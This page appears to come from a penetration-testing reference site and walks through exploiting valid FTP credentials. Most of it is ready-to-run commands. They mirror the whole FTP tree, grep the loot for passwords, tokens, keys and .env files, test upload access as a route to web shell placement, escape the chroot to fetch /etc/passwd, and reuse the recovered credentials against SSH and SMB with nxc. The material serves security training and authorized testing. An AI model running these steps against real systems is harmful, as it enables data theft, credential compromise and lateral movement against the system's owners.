Skip to content
HackIndex.io

FTP Credential Exploitation

3 min read Created Mar 16, 2026 Last updated Aug 11, 2026

Valid FTP credentials give authenticated access to the FTP file tree. The scope of access depends on the account's chroot configuration and filesystem permissions. From here the goal is to extract sensitive files, identify credential material that pivots to other services, and determine whether FTP write access leads to further impact.

  • Directory tree mapping list and recurse the full accessible tree, checking for chroot escapes via cd /.
  • Bulk download mirror everything with wget or lftp and grep for passwords, keys, and connection strings.
  • Write access testing upload a test file to confirm write permissions, then pivot to web shell upload if the path is web-accessible.
  • Chroot escape attempt to navigate to /etc and download passwd to confirm unrestricted filesystem access.
  • Credential reuse test recovered FTP credentials against SSH, SMB, and web application logins immediately.

Connect with Valid Credentials

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP $PORT

Enter $USER and $PASSWORD at the prompts. A 230 Login successful response confirms access.

With curl for non-interactive access:

┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD ftp://$TARGET_IP:$PORT/

Map the Directory Tree

List the full accessible tree from the root:

┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD ftp://$TARGET_IP:$PORT/ -l

Recursively list all subdirectories in an interactive session:

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP $PORT 
ls -la
cd /
ls -la

Some FTP servers chroot authenticated users to their home directory. Attempting cd / and observing whether the listing changes confirms whether chroot is in effect.

Download Files of Interest

Download a single file:

┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD ftp://$TARGET_IP:$PORT/path/to/file.txt -o file.txt

Download everything recursively with wget:

┌──(kali㉿kali)-[~]
└─$ wget -r --no-passive ftp://$USER:$PASSWORD@$TARGET_IP:$PORT/

With lftp for parallel and resumable transfers:

┌──(kali㉿kali)-[~]
└─$ lftp -u $USER,$PASSWORD ftp://$TARGET_IP:$PORT

Inside lftp:

ftp > mirror --continue --parallel=5 / /tmp/ftp_loot/

Search Downloaded Content for Credentials

┌──(kali㉿kali)-[~]
└─$ grep -r -i 'password\|passwd\|secret\|api_key\|token\|connectionstring' /tmp/ftp_loot/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /tmp/ftp_loot -name "*.conf" -o -name "*.config" -o -name "*.env" -o -name "*.xml" -o -name "*.ini" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /tmp/ftp_loot -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

SSH private keys, database connection strings, application config files, and .env files are the highest value finds. Credentials recovered here are tested for reuse against SSH, SMB, and any other services on the target.

Test Upload Access

Even with standard credentials, the account may have write access to specific paths:

┌──(kali㉿kali)-[~]
└─$ echo "writetest" > /tmp/writetest.txt
┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD -T /tmp/writetest.txt ftp://$TARGET_IP:$PORT/writetest.txt

If upload succeeds and the path is web-accessible, pivot to FTP Web Shell Upload.

If the server is not properly chrooted, path traversal via the FTP session may reach OS-level files:

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP $PORT 
cd /
cd /etc
get passwd

If /etc/passwd downloads successfully, the FTP daemon is running without chroot and the authenticated user can access the full filesystem with whatever OS-level permissions the FTP process holds.

Credential Reuse Against Other Services

FTP credentials are frequently reused across SSH, web application logins, and database accounts. Test the recovered credentials immediately:

┌──(kali㉿kali)-[~]
└─$ ssh $USER@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD
┌──(kali㉿kali)-[~]
└─$ nxc ssh $TARGET_IP -u $USER -p $PASSWORD

References